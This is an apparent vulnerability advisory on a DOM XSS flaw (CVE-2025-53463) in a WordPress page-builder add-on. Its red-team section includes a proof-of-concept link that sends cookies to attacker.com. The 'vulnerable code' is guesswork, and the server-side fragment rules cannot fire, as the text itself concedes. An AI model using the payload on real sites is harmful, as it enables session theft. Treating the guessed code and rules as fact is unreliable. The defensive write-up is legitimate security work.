CVE-2025-53463

Executive Summary

CVE-2025-53463 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the HT Mega – Absolute Addons for WPBakery Page Builder WordPress plugin (slug: ht-mega-for-wpbakery). The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject and execute arbitrary JavaScript within the context of a victim's browser. This flaw affects all versions up to and including 1.0.9. As of this report, no official patch has been released by the vendor, HT Plugins.

The vulnerability is classified as DOM-Based XSS, meaning the payload is executed entirely on the client side through manipulation of the Document Object Model (DOM) environment. The attack vector requires user interaction (e.g., clicking a crafted link), and the impact is limited to confidentiality and integrity of the user's session data within the vulnerable application. The CVSS v3.1 base score is 6.5 (Medium), reflecting the need for user interaction and the partial impact on confidentiality and integrity.

Given that this is a WordPress plugin vulnerability, the attack surface is significant due to the widespread use of WPBakery Page Builder and its add-ons. Threat actors could leverage this to steal session cookies, deface pages, or perform phishing attacks against site administrators or visitors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial add-on for WPBakery Page Builder, the supply chain risk includes:

• Delayed patching: The vendor has not released a fix, leaving all installations of version 1.0.9 and below exposed.
• Dependency risk: Sites using WPBakery Page Builder are indirectly affected if they have HT Mega installed.
• No known workaround: Without a patch, the only mitigation is to disable or remove the plugin.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a malicious link) and does not directly compromise server-side resources. However, in a WordPress context, an XSS attack against an administrator could lead to full site compromise via session hijacking or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the HT Mega – Absolute Addons for WPBakery Page Builder plugin, which extends the functionality of the WPBakery Page Builder (formerly Visual Composer). The plugin likely processes user-supplied data (e.g., shortcode attributes, URL parameters, or widget settings) and injects it into the DOM without proper sanitization or encoding.

DOM-Based XSS occurs when JavaScript in the page reads data from an attacker-controllable source (e.g., document.location.hash, document.URL, window.name) and passes it to a sink that can execute code (e.g., innerHTML, eval, document.write). In this case, the vulnerable code likely uses location.hash or location.search to dynamically update page content without escaping.

Example vulnerable flow:

1. A user visits a crafted URL: https://victim-site.com/page/#<img src=x onerror=alert(1)>
2. The plugin's JavaScript reads location.hash and writes it directly into the DOM via innerHTML.
3. The browser parses the injected HTML, executing the onerror event handler.

The attack does not require server-side storage; the payload is delivered entirely via the URL fragment or query string.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from typical DOM XSS in WordPress plugins.

Vulnerable Code (JavaScript):

// Vulnerable: reads hash and injects into DOM without sanitization
var hash = window.location.hash.substring(1);
document.getElementById('dynamic-content').innerHTML = hash;

Patched Code (Hypothetical):

// Patched: uses textContent to prevent HTML injection
var hash = window.location.hash.substring(1);
document.getElementById('dynamic-content').textContent = hash;

Alternatively, proper encoding:

// Patched: sanitize input before DOM insertion
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('dynamic-content').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with HT Mega – Absolute Addons for WPBakery Page Builder version <= 1.0.9.
• A victim user with an active session (e.g., administrator).

Exploit Steps:

1. Identify a page that uses the vulnerable component (e.g., a custom widget or shortcode).
2. Craft a malicious URL with a DOM XSS payload in the fragment identifier:

   https://victim-site.com/ht-mega-page/#<img src=x onerror=alert(document.cookie)>
   

3. Deliver the link to the victim via phishing email, social engineering, or a compromised third-party site.
4. When the victim clicks the link, the payload executes, exfiltrating cookies or performing actions on their behalf.

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="https://victim-site.com/ht-mega-page/#<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>">Click me</a>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing suspicious fragment identifiers (e.g., <script, <img onerror, javascript:).
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
• Implement Content Security Policy (CSP) with script-src 'self' to block inline scripts.

Mitigation:

• Disable or remove the HT Mega plugin until a patch is released.
• Use a Web Application Firewall (WAF) with rules to block common XSS patterns in URL fragments.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing #<script, #<img, #<svg, #<iframe, or #javascript: in the fragment identifier.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (e.g., GET /steal?cookie=...).
• Log Entries: HTTP 200 responses to URLs with unusual fragment identifiers (fragments are not sent to the server, but client-side logs may capture them).
• File Hashes: The vulnerable plugin file (e.g., ht-mega-for-wpbakery.php) with MD5 hash UNKNOWN (no specific hash available).

Detection Engineering

YARA Rule

rule CVE_2025_53463_DOM_XSS {
    meta:
        description = "Detects potential DOM XSS in HT Mega plugin JavaScript files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53463"
    strings:
        $sink1 = ".innerHTML"
        $sink2 = ".outerHTML"
        $sink3 = "document.write"
        $sink4 = "eval("
        $source1 = "location.hash"
        $source2 = "location.search"
        $source3 = "document.URL"
    condition:
        any of ($sink*) and any of ($source*)
}

Sigma Rule

title: CVE-2025-53463 DOM XSS in HT Mega Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation attempts of DOM XSS in HT Mega plugin via URL fragments
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
            - '#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments for navigation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53463 DOM XSS in HT Mega Plugin"; flow:to_server,established; content:"#<"; http_uri; pcre:"/#<(script|img|svg|iframe|javascript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and uninstall HT Mega – Absolute Addons for WPBakery Page Builder until a patch is released.
2. Implement CSP: Add the following HTTP header to block inline scripts:

   Content-Security-Policy: script-src 'self'; object-src 'none'
   

3. Monitor logs: Review web server logs for suspicious URL fragments.

Long-Term Fix:

• Await an official patch from HT Plugins. Once available, update to the patched version immediately.
• Consider replacing the plugin with an alternative that is actively maintained and has a security track record.

Workarounds:

• If the plugin cannot be disabled, use a WAF rule to block requests containing #< in the URI (note: fragments are not sent to the server, so this may not be effective).
• Use client-side XSS protection libraries like DOMPurify in custom JavaScript.

Valters IT
DevSecOps & Cyber Threat Intelligence